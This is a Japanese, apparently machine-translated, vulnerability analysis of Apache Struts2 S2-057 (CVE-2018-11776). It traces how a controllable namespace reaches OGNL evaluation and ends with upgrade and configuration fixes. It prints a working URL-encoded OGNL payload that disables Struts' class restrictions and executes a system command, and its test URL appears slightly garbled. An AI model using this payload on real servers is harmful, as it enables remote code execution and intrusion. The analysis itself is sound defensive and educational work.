Apache Struts フレームワークは、Java Servlet、JavaBeans、および JavaServer Pages (JSP) の Web アプリケーション フレームワークに基づくオープン ソース プロジェクトです。Struts は、Model- View-Controller (MVC) パターンを使用して、複雑な Web アプリケーションを構築できます。これにより、アプリケーションのビジネス ロジック、制御ロジック、プレゼンテーション ロジックのコードを分解できるようになり、再利用性と保守性が向上します。 Struts フレームワークは Jakarta プロジェクトの一部であり、Apache Software Foundation によって管理されています。
Tianrongxin Alpha Lab は、Apache Struts2 S2-057 リモート コード実行の脆弱性分析を提供します~
Struts の場合.mapper.alwaysSelectFullNamespace が true に設定されており、パッケージ タブと結果のパラメータ タブの名前空間値が欠落しているか、ワイルドカードが使用されている場合、名前空間は制御でき、最終的に名前空間は実行のために OGNL ステートメントに取り込まれます。これにより、リモートでコードが実行される脆弱性が生じます。
Apache Struts 2.3 - Struts 2.3.34
Apache Struts 2.5 - Struts 2.5.16
CVE-2018-11776
1. ダウンロード: http://archive.apache.org/dist/struts/2.3.34/ struts -2.3.34-all.zip
2. 設定ファイル struts-actionchaining.xml
を変更します。この脆弱性には、次のような複数の攻撃ベクトルがあります。
リダイレクト アクション
アクションチェーン
ポストバック結果
最初のものを例として、構成ファイルの内容を次のように変更します:
DefaultActionMapper クラスの parseNameAndNamespace メソッド内。
alwaysSelectFullNamespace が true に設定されている場合、名前空間の値は URL から取得されます。 URL は制御可能であるため、名前空間も制御可能です。
アクションが実行された後、プログラムは ServletActionRedirectResult クラスのexecute() メソッドを呼び出して、リダイレクト結果を解析します。
まず、名前空間が空の場合、invocation.getProxy().getNamespace() を呼び出して変数名前空間に値を割り当て、変数名前空間を ActionMapping に渡します。コンストラクタ。
次に、ActionMapper.getUriFromActionMapping() は、ActionMapping の後の値を再編成し、URL 文字列 (名前空間を含む) を生成し、それを tmplocation 変数に割り当てます。
次に、名前空間を持つ tmplocation が setLocation() メソッドに渡されます。
このメソッドは、tmpLocation 値を StrutsResultSupport クラスの location 変数に割り当てます。
次に、super.execute() メソッドをトレースします。
引き続き、ServletActionResult クラスの super.execute() を追跡します。
StrutsResultSupport クラスのexecute() メソッドでは、割り当てられたばかりの位置変数 (名前空間付き) がconditionalParse() メソッドに渡されます。
最終的に、TextParseUtil.translateVariables() による名前空間の OGNL 解析により、リモートでコードが実行される脆弱性が発生しました。
1. URL が /${(111 111)}/actionChain1.action であるアドレスにアクセスします。
アクセスにより OGNL 式がトリガーされ、URL が /222/register2.action に変更され、脆弱性が存在します。
2. ペイロード:
%24%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23cmd%3d%40java.lang.Runtime%40getRuntime().exec(%22calc%22))%7d
このペイロードは、2.3 シリーズ バージョンにのみ適用されます。
現在、公式はこの脆弱性を修正する最新バージョンをリリースしています。ユーザーはできるだけ早く Apache Struts 2.3.35 または Struts 2.5.17 バージョンにアップグレードしてください: https://struts.apache.org/download.cgi#struts2517。
設定ファイルを変更します:
package タグの namespace 値と result の param タグを修正し、ワイルドカードの使用を禁止します。
以上がApache Struts2 S2-057 リモート コード実行の脆弱性分析を実行する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。